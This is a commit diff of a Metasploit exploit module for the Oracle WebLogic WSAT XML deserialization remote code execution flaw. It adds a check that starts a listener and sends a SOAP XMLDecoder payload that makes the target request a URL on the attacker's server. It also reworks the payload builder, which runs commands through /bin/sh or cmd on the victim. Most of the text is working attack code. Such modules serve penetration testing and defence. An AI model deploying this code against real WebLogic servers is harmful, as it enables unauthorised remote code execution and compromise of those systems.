4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = NormalRanking
7
+ Rank = ExcellentRanking
8
8
9
9
include Msf ::Exploit ::Remote ::HttpClient
10
+ include Msf ::Exploit ::Remote ::HttpServer
10
11
11
12
def initialize ( info = { } )
12
13
super (
@@ -17,7 +18,9 @@ def initialize(info = {})
17
18
The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
18
19
remote code execution vulnerability. Supported versions that are affected are
19
20
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
20
- of ERPScan and Federico Dotta of Media Service.
21
+ of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
22
+ HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
23
+ and will not be used when executing the exploit itself.
21
24
) ,
22
25
'License' => MSF_LICENSE ,
23
26
'Author' => [
@@ -50,20 +53,33 @@ def initialize(info = {})
50
53
51
54
register_options ( [
52
55
OptString . new ( 'TARGETURI' , [ true , 'The base path to the WebLogic WSAT endpoint' , '/wls-wsat/CoordinatorPortType' ] ) ,
53
- Opt ::RPORT ( 7001 , true , 'The remote port that the WebLogic WSAT endpoint listens on' ) ,
54
- OptFloat . new ( 'TIMEOUT' , [ true , "The timeout value of requests to RHOST" , 20.0 ] )
56
+ OptPort . new ( 'RPORT' , [ true , "The remote port that the WebLogic WSAT endpoint listens on" , 7001 ] ) ,
57
+ OptFloat . new ( 'TIMEOUT' , [ true , "The timeout value of requests to RHOST" , 20.0 ] ) ,
58
+ OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the check payload' , 30 ] )
55
59
] )
56
60
end
57
61
58
62
def cmd_base
59
- target [ 'Platform' ] == 'win' ? 'cmd' : '/bin/sh'
63
+ if target [ 'Platform' ] == 'win'
64
+ return 'cmd'
65
+ else
66
+ return '/bin/sh'
67
+ end
60
68
end
61
69
62
70
def cmd_opt
63
- target [ 'Platform' ] == 'win' ? '/c' : '-c'
71
+ if target [ 'Platform' ] == 'win'
72
+ return '/c'
73
+ else
74
+ return '-c'
75
+ end
64
76
end
65
77
66
- def process_builder_payload
78
+
79
+ #
80
+ # This generates a XML payload that will execute the desired payload on the RHOST
81
+ #
82
+ def exploit_process_builder_payload
67
83
# Generate a payload which will execute on a *nix machine using /bin/sh
68
84
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
69
85
<soapenv:Header>
@@ -90,36 +106,100 @@ def process_builder_payload
90
106
</soapenv:Envelope>}
91
107
end
92
108
93
- # Not sure how to catch the response, so I'll leave this here in case someone can help
94
- # This payload is used by sending to the RHOST and then you will receive an HTTP request
95
- # back from the target. If you got a request, it's vulnerable. If you didn't, it's not.
96
- # def http_check_payload
97
- # xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
98
- # <soapenv:Header>
99
- # <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
100
- # <java version="1.8" class="java.beans.XMLDecoder">
101
- # <object id="url" class="java.net.URL">
102
- # <string>http://#{datastore['LHOST']}:#{datastore['LPORT']}/#{random_uri}</string>
103
- # </object>
104
- # <object idref="url">
105
- # <void id="stream" method = "openStream" />
106
- # </object>
107
- # </java>
108
- # </work:WorkContext>
109
- # </soapenv:Header>
110
- # <soapenv:Body/>
111
- # </soapenv:Envelope>}
112
- # end
109
+ #
110
+ # This builds a XML payload that will generate a HTTP GET request to our SRVHOST
111
+ # from the target machine.
112
+ #
113
+ def check_process_builder_payload
114
+ return_request_url = "http://#{ lookup_actual_host } :#{ datastore [ 'SRVPORT' ] } #{ datastore [ 'URIPATH' ] } "
115
+ xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
116
+ <soapenv:Header>
117
+ <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
118
+ <java version="1.8" class="java.beans.XMLDecoder">
119
+ <object id="url" class="java.net.URL">
120
+ <string>#{ return_request_url . encode ( xml : :text ) } </string>
121
+ </object>
122
+ <object idref="url">
123
+ <void id="stream" method = "openStream" />
124
+ </object>
125
+ </java>
126
+ </work:WorkContext>
127
+ </soapenv:Header>
128
+ <soapenv:Body/>
129
+ </soapenv:Envelope>}
130
+ end
131
+
132
+ #
133
+ # In the event that a 'check' host responds, we should respond randomly so that we don't clog up
134
+ # the logs too much with a no response error or similar.
135
+ #
136
+ def on_request_uri ( cli , request )
137
+ random_content = '<html><head></head><body><p>' +Rex ::Text . rand_text_alphanumeric ( 20 ) +'<p></body></html>'
138
+ send_response ( cli , random_content )
139
+
140
+ @received_request = true
141
+ end
142
+
143
+ #
144
+ # Identifies our public IP address so that we can make sure to include it instead of 0.0.0.0
145
+ # in our payload.
146
+ #
147
+ def lookup_actual_host ( )
148
+ # Get the source address
149
+ if datastore [ 'SRVHOST' ] == '0.0.0.0'
150
+ Rex ::Socket . source_address ( '50.50.50.50' )
151
+ else
152
+ datastore [ 'SRVHOST' ]
153
+ end
154
+ end
155
+
156
+ #
157
+ # The exploit method connects to the remote service and sends a randomly generated string
158
+ # encapsulated within a SOAP XML body. This will start an HTTP server for us to receive
159
+ # the response from. This is based off of the exploit technique from
160
+ # exploits/windows/novell/netiq_pum_eval.rb
161
+ #
162
+ def check
163
+ datastore [ 'URIPATH' ] = '/' + datastore [ 'URIPATH' ] if datastore [ 'URIPATH' ] !~ /^\/ /
164
+
165
+ start_service ( { 'Uri' => {
166
+ 'Proc' => Proc . new { |cli , req |
167
+ on_request_uri ( cli , req )
168
+ } ,
169
+ 'Path' => datastore [ 'URIPATH' ]
170
+ } } )
171
+
172
+ print_status ( 'Sending the check payload...' )
173
+ res = send_request_cgi ( {
174
+ 'method' => 'POST' ,
175
+ 'uri' => normalize_uri ( target_uri . path ) ,
176
+ 'data' => check_process_builder_payload ,
177
+ 'ctype' => 'text/xml;charset=UTF-8'
178
+ } , datastore [ 'TIMEOUT' ] )
179
+
180
+ print_status ( "Waiting #{ datastore [ 'HTTP_DELAY' ] } seconds to see if the target requests our URI..." )
181
+
182
+ waited = 0
183
+ while ( not @received_request )
184
+ select ( nil , nil , nil , 1 )
185
+ waited += 1
186
+ if ( waited > datastore [ 'HTTP_DELAY' ] )
187
+ return Exploit ::CheckCode ::Safe
188
+ end
189
+ end
190
+
191
+ return Exploit ::CheckCode ::Vulnerable
192
+ end
113
193
114
194
#
115
- # The exploit method connects to the remote service and sends 1024 random bytes
116
- # followed by the fake return address and then the payload .
195
+ # The exploit method connects to the remote service and sends the specified payload
196
+ # encapsulated within a SOAP XML body .
117
197
#
118
198
def exploit
119
199
send_request_cgi ( {
120
200
'method' => 'POST' ,
121
201
'uri' => normalize_uri ( target_uri . path ) ,
122
- 'data' => process_builder_payload ,
202
+ 'data' => exploit_process_builder_payload ,
123
203
'ctype' => 'text/xml;charset=UTF-8'
124
204
} , datastore [ 'TIMEOUT' ] )
125
205
end
0 commit comments